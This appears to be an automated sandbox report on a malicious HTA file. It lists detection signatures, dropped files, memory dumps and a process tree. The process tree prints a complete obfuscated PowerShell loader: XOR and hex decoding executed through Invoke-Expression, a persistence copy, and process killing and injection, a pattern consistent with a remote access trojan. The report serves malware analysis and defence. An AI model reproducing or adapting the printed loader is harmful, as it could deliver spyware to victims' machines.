Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/10/2026, 17:51

General

  • Target
    Aviso_Prejudicial_9542844379977776656524975986354765865.hta
  • Size 27KB
  • Sample261007-we853as15r
  • SHA256 5be57773b48d8cf48460fe5757b05ded76444c7cbad0b5f2c1e3e8ba01884fe5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates video capture drivers 2 TTPs 1 IoCs

    Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Aviso_Prejudicial_9542844379977776656524975986354765865.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2940
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe ""$j=75-24;$oFrdX5H='PPukS4U6ILC';$xoLSSWm='ex3BhmQcPZfiTnps';$syk1C3U='QTcshxm3cnecQee3BBhZcpQcQmhPmZ3xhfhQePcZBsQ33pQxx3eeBZmPBhBcheQsQfcpQsh3xsmneiccxPBnmBccQZQmhimPQceZm3mQ3ZhBhnhTB3excQQTxfmTxPQxcsccQn33chmBcexfQfBchphiBxmxmZmQh3cneiQ3h3mecZcccTQsmnhmmhmhBm3fQxcZchhPQimTmhBsmfmTxPQxcsccQn33eicPQneh3QxeBQQnBnmm3chnhZQQxT3iecQpBsBeccec3mBTeBhp3shTBBhmQnQicPmixTmfe3QfeZQBBQBhmZQshTmpQcefcThT3xxixB3f3fesxxm33eQfxPBnhmcTcPcThQm3QTBpQeemcnQ3mhQiQhhpmQQTxTm3mQ3ZhmcTQZcsmnmPcnxcmsxpcTQ3cQQZQmhBxxBhhpmh33cQQ3BcmZQshThhcieccixmhBQhcQcpQmhTmpQmBfcQxTcQhi3BBemphBh3BPmTe3QQBBBQBZ3fQTmfmsQfxfQQeBcnBQmnQmcnhxmnQQesQi3Pc3Q3cPhTcPhemThmecQxecQeBQQ33fcfhphBQPeB3shhhPQmQncPQBhxmQm3BBm3hPc33QBe3fec3mxx3Zhp3shPc33cBZBc3fQxmhcphBheepcZcBcfcp3fcThPcfxfQfexBnmPcTcp3hcPmhQi3nQBemcQcPQnBx3f33Bi3Zhp3shTBccc3i3fBcescQQTxf33Bpc3cPcnQmQcesxTheeecsxZQcmZciQeQshThm3ZhfQpmTBBBimfQmcshxhm3ZhfQpmTBnmfcTQhQnmimZB3hpe3QQBBBQBZ3fQThehBQTesQTehBBBpBnQiBZesmPQchp3ien3xBsBZcx3fmihBcehpchhTQxcBQncscPhxxx3nesBph3mccZQpQhQQhemeQn3fQpxPc3BpBnQiBZeQxxchhpQTenQccmcx3fcxesm3QQeeciemcnQBcT3fcceshTB3hpe3QQBBBQBZ3fcPhfhmcTxTQxhTBccPQTQQQQeshTB3hpe3QQBBBQBZ3f3phpem3ZmB3shiBh3nxhee3fesxx3ZhfQpmZBB3iBZ33mmhPmTQQeZQchTBhmccxBpQsQPmnhi3PmnBn3p3iBp3BBx33Bi3nesBZhT3pBQBZ3pQixixx33hfQpmZ3PxixB3f3fesxx3nesBshT3pBQmZ3333eimeBshp3hhTBihZcpQcQmhPmZ3ZhZmc3f3QmBhphT';$xGrhQ80nG='ZnZeP3PPP3smf3nmZPPiipTmfeZhPTPxfeiQThnTiPfci3Z3pesBnxiPnZisThTnPcTBnmsippnpTpZcspPBPpPpnmn3PcssPQsmf3nmZPPnixiefcPZZZZfpZimThnnPxPefcfhZnPQi3ThfQsxipfPfcZhixPxsBTiiQnZifTeTxT3ZhTBsepmnQiZfsshPxPQPxZnnmscZZfepmimTiPeZZfBf3iBfefifhncPhsxihP3ieZcfcZxPsZcnmfxfpnxTpTsnTnTpippnQixneiBTTTZTQsPssshfsTxixTniBfPPQZxZiZZisfsZ3nmZxpcPnfsZhZfZPZTfcZPsfPBiBTPPPnQTpsPnfppnQixneiBTTTZTQZTZBsepQn3seTciBTxPcPBnmnxipiiZfsnnZiBZcTZT3ZhTnsesBnQTffBpfZsZnPBZPniPhfiPppmnpnQP3PfPZZxZTipfZfifiTfTQiPfsnpnii3imiffmpmP3sfP3PpTpnxZhpcpcTnZTsfiBTTTZTQnmnxixscnQfTneiiiBPpPiZfZ3iPppnxTcZTTfnZiZPTTefePQPsTifTncifncTZT3ZcTmsesBnQiZfsshPxPQPxZnnmscZPZfTPPmTmffiPnin3nTpippn3sBTxiBnxTZT3ZhTnspPcZPsmZmpifBPsTpnxZhpZpcTnixsnZZTTTZTQnmnxi3sTnQfTneicPnnxTPiTZiihfiPpnpZQiiTPPinQnTTpnnThnQixneiBTTPePenmnnshfTTcixnnshPZTZnQnmnPixfeZ3ixnhsxnpTZTiZ3PxsepfZhfenZiBZcTZT3ZcThsepmTiixnhs3nmTcffZeZiicifZpffneZppQTZTQnmnmshfTTmixTniBTPPinhnmnPsepfZhfeTiZppQTZTQnmnmsepfZhfmnefpTTTnPcTnniPBiiZhp3PhpxPmPcPxnnnxi3ssnfixnhsxnsTennsPssseppnQimZ3fxTTnhTQnxZhpPpeisssZhsQZhfQPennnxi3spnsffsnZZTTTZTQnmnmshfTTBixTniBicifZsPQPximfBnPn3ZssnZfPTZhPxfPpfshiepBZsspfpPPZmZeTBphZnP3pBZZsnPiTxT3ZcTxsZsmnQixneicPpniTQTPnmshfsTpisiZsnPPPTZpifZBsPpfZhfxnZfPTTTZTQnxZcp3ppTiixnhs3nhTcfsZiZximiQiZscnPicPpnZTsTp';$yet1lXmfY='QxQQQZcchs3PhnQPhBmeh3hTBcxf3pxTcTeTQcmi33xfefee3TBhxiQxeQQhmiBxeTxseZ3hBmeBcxBhBehsBTxeenePQxcBenBnheBxcPcfmshT3i3T3Bh3mPxiQmxQxmeTxshTBmccBTQcxicpmPBsxneQeZ3f3BhshiBZmsmmmnBieZxs3fB3exQTeeQhx3meeBhTBs3TBiefQixn3cBfx3xmeZesBncch3hpeecPeQehmsmZhTBmcc3ZQcxiQcxhehm3BPen3iBief3P3cQixPxmmB3sBTxTmfQm3PhZ3fmmmhxnmihTchcchiQfms3hB3xmeiBPxmBZB3hc3eBQQnxPxsxPehhTQpxmxchmePhnBhhnh3hihmQZcThs3eBQQnxPxsxPehhTQpxmBpBPBehZe3xhBf3meixTxs3icsmxmem3mZmQmcQxhBmfQm3PhZ3fmmmhxnmhmxQxePePQmeQQnxnmemP3cxh3QBQ3mQsxfQTBcBxxh3shiQeQTQ3e3hZ3fmmmemiepmmQZQfhs3eBQQnxPxsxPehhTQpxsechxeTmPBche3s3p3nBnxx3nhZ3hhQBche3fBQ3P3p3hBshZe3ms3sBhBpmhBmxiemmshh3phs3ehmBmBPxi3BxpeQQBmnhxhm3mB33p3nehen3TcsmxhBBQhe3f3h3pxPBi3fhi3iB3BQBPxP3x33xie3BZmZ3pmihm3fBiBnmPehxB3pcs3chixnxiB33PeiBpxZ3iQsmhBcm3mZmsmchTQnBmmQ3Pmh3fmxx3hQh3BsBTBmxTcTxiQBxixcmcmTheQZcBenBxhchQxexpxPxPehQZcfhsBZmT3BcPcfmiesmTQZQfhs3eBQQnxPxsxPehhTQpeeePBmmh3nmThic3QQhTQZcchs3TefBimmhnmshhBB3pBfeeQsex3fm33PxPmxmxQpcpmhemQB3fmmmemshPesciccm33PhnQPh3mpBPeZxPehB3xiQeeQQpmnmP3eeiex3QBeec3PhphnBchPBfhihmQZcThs3eBQQnxPxsxPehhTQpxeBnQBmh3nmTmZmx3me3BsBPehQnhx3pxiemxBeeheQZeTeeQfeBQsxQeh3hBxBxQZcshiQfme3fmZmhxTmnheQZcsBeQsehQmx3xPmshiBTxPxf3fh3epmsBimcmQhehTQnBmmc3hhZ3pxQhemshehTQxePePQmeQQnxnmemP3ZeeeBBhhP3xhe3BePenc3QQ';$u6LI8c5cq=0xEE9D-0x6D08;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0x5A)};$jpcJ2Q=$aNAc0ui3T;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0xA5)};$oQsS70p=$aNAc0ui3T;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0x3C)};$iJ4jX2GhB=$aNAc0ui3T;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$syk1C3U.Length){$n765cV=$xoLSSWm.IndexOf($syk1C3U[$fDJhLIadi])*16+$xoLSSWm.IndexOf($syk1C3U[$fDJhLIadi+1]);if($g8KegUYK0-ge$jpcJ2Q.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$jpcJ2Q[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$nmNKIArHE=$cn5RYD1s;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$xGrhQ80nG.Length){$n765cV=$xoLSSWm.IndexOf($xGrhQ80nG[$fDJhLIadi])*16+$xoLSSWm.IndexOf($xGrhQ80nG[$fDJhLIadi+1]);if($g8KegUYK0-ge$oQsS70p.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$oQsS70p[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$oKUxsr=$cn5RYD1s;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$yet1lXmfY.Length){$n765cV=$xoLSSWm.IndexOf($yet1lXmfY[$fDJhLIadi])*16+$xoLSSWm.IndexOf($yet1lXmfY[$fDJhLIadi+1]);if($g8KegUYK0-ge$iJ4jX2GhB.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$iJ4jX2GhB[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$qnrxylV=$cn5RYD1s;$yyBmwO=$nmNKIArHE+$oKUxsr+$qnrxylV;.([char[]](105,101,120)-join'') $yyBmwO""; Copy-Item -Path '"C:\Users\Admin\AppData\Local\Temp\Aviso_Prejudicial_9542844379977776656524975986354765865.hta"' -Destination 'C:\ProgramData\WinLog.hta' -Force""
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1328
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe ""$j=75-24;$oFrdX5H='PPukS4U6ILC';$xoLSSWm='ex3BhmQcPZfiTnps';$syk1C3U='QTcshxm3cnecQee3BBhZcpQcQmhPmZ3xhfhQePcZBsQ33pQxx3eeBZmPBhBcheQsQfcpQsh3xsmneiccxPBnmBccQZQmhimPQceZm3mQ3ZhBhnhTB3excQQTxfmTxPQxcsccQn33chmBcexfQfBchphiBxmxmZmQh3cneiQ3h3mecZcccTQsmnhmmhmhBm3fQxcZchhPQimTmhBsmfmTxPQxcsccQn33eicPQneh3QxeBQQnBnmm3chnhZQQxT3iecQpBsBeccec3mBTeBhp3shTBBhmQnQicPmixTmfe3QfeZQBBQBhmZQshTmpQcefcThT3xxixB3f3fesxxm33eQfxPBnhmcTcPcThQm3QTBpQeemcnQ3mhQiQhhpmQQTxTm3mQ3ZhmcTQZcsmnmPcnxcmsxpcTQ3cQQZQmhBxxBhhpmh33cQQ3BcmZQshThhcieccixmhBQhcQcpQmhTmpQmBfcQxTcQhi3BBemphBh3BPmTe3QQBBBQBZ3fQTmfmsQfxfQQeBcnBQmnQmcnhxmnQQesQi3Pc3Q3cPhTcPhemThmecQxecQeBQQ33fcfhphBQPeB3shhhPQmQncPQBhxmQm3BBm3hPc33QBe3fec3mxx3Zhp3shPc33cBZBc3fQxmhcphBheepcZcBcfcp3fcThPcfxfQfexBnmPcTcp3hcPmhQi3nQBemcQcPQnBx3f33Bi3Zhp3shTBccc3i3fBcescQQTxf33Bpc3cPcnQmQcesxTheeecsxZQcmZciQeQshThm3ZhfQpmTBBBimfQmcshxhm3ZhfQpmTBnmfcTQhQnmimZB3hpe3QQBBBQBZ3fQThehBQTesQTehBBBpBnQiBZesmPQchp3ien3xBsBZcx3fmihBcehpchhTQxcBQncscPhxxx3nesBph3mccZQpQhQQhemeQn3fQpxPc3BpBnQiBZeQxxchhpQTenQccmcx3fcxesm3QQeeciemcnQBcT3fcceshTB3hpe3QQBBBQBZ3fcPhfhmcTxTQxhTBccPQTQQQQeshTB3hpe3QQBBBQBZ3f3phpem3ZmB3shiBh3nxhee3fesxx3ZhfQpmZBB3iBZ33mmhPmTQQeZQchTBhmccxBpQsQPmnhi3PmnBn3p3iBp3BBx33Bi3nesBZhT3pBQBZ3pQixixx33hfQpmZ3PxixB3f3fesxx3nesBshT3pBQmZ3333eimeBshp3hhTBihZcpQcQmhPmZ3ZhZmc3f3QmBhphT';$xGrhQ80nG='ZnZeP3PPP3smf3nmZPPiipTmfeZhPTPxfeiQThnTiPfci3Z3pesBnxiPnZisThTnPcTBnmsippnpTpZcspPBPpPpnmn3PcssPQsmf3nmZPPnixiefcPZZZZfpZimThnnPxPefcfhZnPQi3ThfQsxipfPfcZhixPxsBTiiQnZifTeTxT3ZhTBsepmnQiZfsshPxPQPxZnnmscZZfepmimTiPeZZfBf3iBfefifhncPhsxihP3ieZcfcZxPsZcnmfxfpnxTpTsnTnTpippnQixneiBTTTZTQsPssshfsTxixTniBfPPQZxZiZZisfsZ3nmZxpcPnfsZhZfZPZTfcZPsfPBiBTPPPnQTpsPnfppnQixneiBTTTZTQZTZBsepQn3seTciBTxPcPBnmnxipiiZfsnnZiBZcTZT3ZhTnsesBnQTffBpfZsZnPBZPniPhfiPppmnpnQP3PfPZZxZTipfZfifiTfTQiPfsnpnii3imiffmpmP3sfP3PpTpnxZhpcpcTnZTsfiBTTTZTQnmnxixscnQfTneiiiBPpPiZfZ3iPppnxTcZTTfnZiZPTTefePQPsTifTncifncTZT3ZcTmsesBnQiZfsshPxPQPxZnnmscZPZfTPPmTmffiPnin3nTpippn3sBTxiBnxTZT3ZhTnspPcZPsmZmpifBPsTpnxZhpZpcTnixsnZZTTTZTQnmnxi3sTnQfTneicPnnxTPiTZiihfiPpnpZQiiTPPinQnTTpnnThnQixneiBTTPePenmnnshfTTcixnnshPZTZnQnmnPixfeZ3ixnhsxnpTZTiZ3PxsepfZhfenZiBZcTZT3ZcThsepmTiixnhs3nmTcffZeZiicifZpffneZppQTZTQnmnmshfTTmixTniBTPPinhnmnPsepfZhfeTiZppQTZTQnmnmsepfZhfmnefpTTTnPcTnniPBiiZhp3PhpxPmPcPxnnnxi3ssnfixnhsxnsTennsPssseppnQimZ3fxTTnhTQnxZhpPpeisssZhsQZhfQPennnxi3spnsffsnZZTTTZTQnmnmshfTTBixTniBicifZsPQPximfBnPn3ZssnZfPTZhPxfPpfshiepBZsspfpPPZmZeTBphZnP3pBZZsnPiTxT3ZcTxsZsmnQixneicPpniTQTPnmshfsTpisiZsnPPPTZpifZBsPpfZhfxnZfPTTTZTQnxZcp3ppTiixnhs3nhTcfsZiZximiQiZscnPicPpnZTsTp';$yet1lXmfY='QxQQQZcchs3PhnQPhBmeh3hTBcxf3pxTcTeTQcmi33xfefee3TBhxiQxeQQhmiBxeTxseZ3hBmeBcxBhBehsBTxeenePQxcBenBnheBxcPcfmshT3i3T3Bh3mPxiQmxQxmeTxshTBmccBTQcxicpmPBsxneQeZ3f3BhshiBZmsmmmnBieZxs3fB3exQTeeQhx3meeBhTBs3TBiefQixn3cBfx3xmeZesBncch3hpeecPeQehmsmZhTBmcc3ZQcxiQcxhehm3BPen3iBief3P3cQixPxmmB3sBTxTmfQm3PhZ3fmmmhxnmihTchcchiQfms3hB3xmeiBPxmBZB3hc3eBQQnxPxsxPehhTQpxmxchmePhnBhhnh3hihmQZcThs3eBQQnxPxsxPehhTQpxmBpBPBehZe3xhBf3meixTxs3icsmxmem3mZmQmcQxhBmfQm3PhZ3fmmmhxnmhmxQxePePQmeQQnxnmemP3cxh3QBQ3mQsxfQTBcBxxh3shiQeQTQ3e3hZ3fmmmemiepmmQZQfhs3eBQQnxPxsxPehhTQpxsechxeTmPBche3s3p3nBnxx3nhZ3hhQBche3fBQ3P3p3hBshZe3ms3sBhBpmhBmxiemmshh3phs3ehmBmBPxi3BxpeQQBmnhxhm3mB33p3nehen3TcsmxhBBQhe3f3h3pxPBi3fhi3iB3BQBPxP3x33xie3BZmZ3pmihm3fBiBnmPehxB3pcs3chixnxiB33PeiBpxZ3iQsmhBcm3mZmsmchTQnBmmQ3Pmh3fmxx3hQh3BsBTBmxTcTxiQBxixcmcmTheQZcBenBxhchQxexpxPxPehQZcfhsBZmT3BcPcfmiesmTQZQfhs3eBQQnxPxsxPehhTQpeeePBmmh3nmThic3QQhTQZcchs3TefBimmhnmshhBB3pBfeeQsex3fm33PxPmxmxQpcpmhemQB3fmmmemshPesciccm33PhnQPh3mpBPeZxPehB3xiQeeQQpmnmP3eeiex3QBeec3PhphnBchPBfhihmQZcThs3eBQQnxPxsxPehhTQpxeBnQBmh3nmTmZmx3me3BsBPehQnhx3pxiemxBeeheQZeTeeQfeBQsxQeh3hBxBxQZcshiQfme3fmZmhxTmnheQZcsBeQsehQmx3xPmshiBTxPxf3fh3epmsBimcmQhehTQnBmmc3hhZ3pxQhemshehTQxePePQmeQQnxnmemP3ZeeeBBhhP3xhe3BePenc3QQ';$u6LI8c5cq=0xEE9D-0x6D08;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0x5A)};$jpcJ2Q=$aNAc0ui3T;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0xA5)};$oQsS70p=$aNAc0ui3T;$aNAc0ui3T=@();foreach($mvTz706K in [char[]]$oFrdX5H){$aNAc0ui3T+=[byte]($mvTz706K-bxor0x3C)};$iJ4jX2GhB=$aNAc0ui3T;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$syk1C3U.Length){$n765cV=$xoLSSWm.IndexOf($syk1C3U[$fDJhLIadi])*16+$xoLSSWm.IndexOf($syk1C3U[$fDJhLIadi+1]);if($g8KegUYK0-ge$jpcJ2Q.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$jpcJ2Q[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$nmNKIArHE=$cn5RYD1s;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$xGrhQ80nG.Length){$n765cV=$xoLSSWm.IndexOf($xGrhQ80nG[$fDJhLIadi])*16+$xoLSSWm.IndexOf($xGrhQ80nG[$fDJhLIadi+1]);if($g8KegUYK0-ge$oQsS70p.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$oQsS70p[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$oKUxsr=$cn5RYD1s;$cn5RYD1s='';$fDJhLIadi=0;$g8KegUYK0=0;while($fDJhLIadi-lt$yet1lXmfY.Length){$n765cV=$xoLSSWm.IndexOf($yet1lXmfY[$fDJhLIadi])*16+$xoLSSWm.IndexOf($yet1lXmfY[$fDJhLIadi+1]);if($g8KegUYK0-ge$iJ4jX2GhB.Length){$g8KegUYK0=0};$cn5RYD1s+=[char]($n765cV-bxor$iJ4jX2GhB[$g8KegUYK0]);$g8KegUYK0++;$fDJhLIadi+=2};$qnrxylV=$cn5RYD1s;$yyBmwO=$nmNKIArHE+$oKUxsr+$qnrxylV;.([char[]](105,101,120)-join'') $yyBmwO""; Copy-Item -Path '"C:\Users\Admin\AppData\Local\Temp\Aviso_Prejudicial_9542844379977776656524975986354765865.hta"' -Destination 'C:\ProgramData\WinLog.hta' -Force""
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3264
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1424
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
            5⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4836
            • C:\Windows\system32\taskkill.exe
              taskkill /IM RegAsm.exe /F
              6⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3084
            • C:\Windows\system32\taskkill.exe
              taskkill /IM Vbc.exe /F
              6⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4736
            • C:\Windows\system32\taskkill.exe
              taskkill /IM MsBuild.exe /F
              6⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1596
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
          4⤵
          • Enumerates video capture drivers
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:5000

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 124745d7fecd229d311b0cebee0081571d2d2297f71a3111e75f4a6321b4d479
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_i05lckmw.cod.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i05lckmw.cod.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3264-1-0x0000023367CB0000-0x0000023367CC0000-memory.dmp

        memory/3264-2-0x00000233697D0000-0x00000233697F2000-memory.dmp

        memory/3264-10-0x0000023369840000-0x0000023369856000-memory.dmp

        memory/3264-11-0x000002336BF30000-0x000002336BF38000-memory.dmp

        memory/3264-0-0x0000023367CB0000-0x0000023367CC0000-memory.dmp

        memory/5000-21-0x0000000000030000-0x0000000000068000-memory.dmp

        memory/5000-26-0x0000000000030000-0x0000000000064000-memory.dmp

        memory/5000-27-0x0000000004DC0000-0x0000000004E5C000-memory.dmp

        memory/5000-28-0x0000000005CD0000-0x0000000005D36000-memory.dmp

        memory/5000-29-0x00000000068C0000-0x0000000006E64000-memory.dmp

        memory/5000-30-0x0000000006410000-0x00000000064A2000-memory.dmp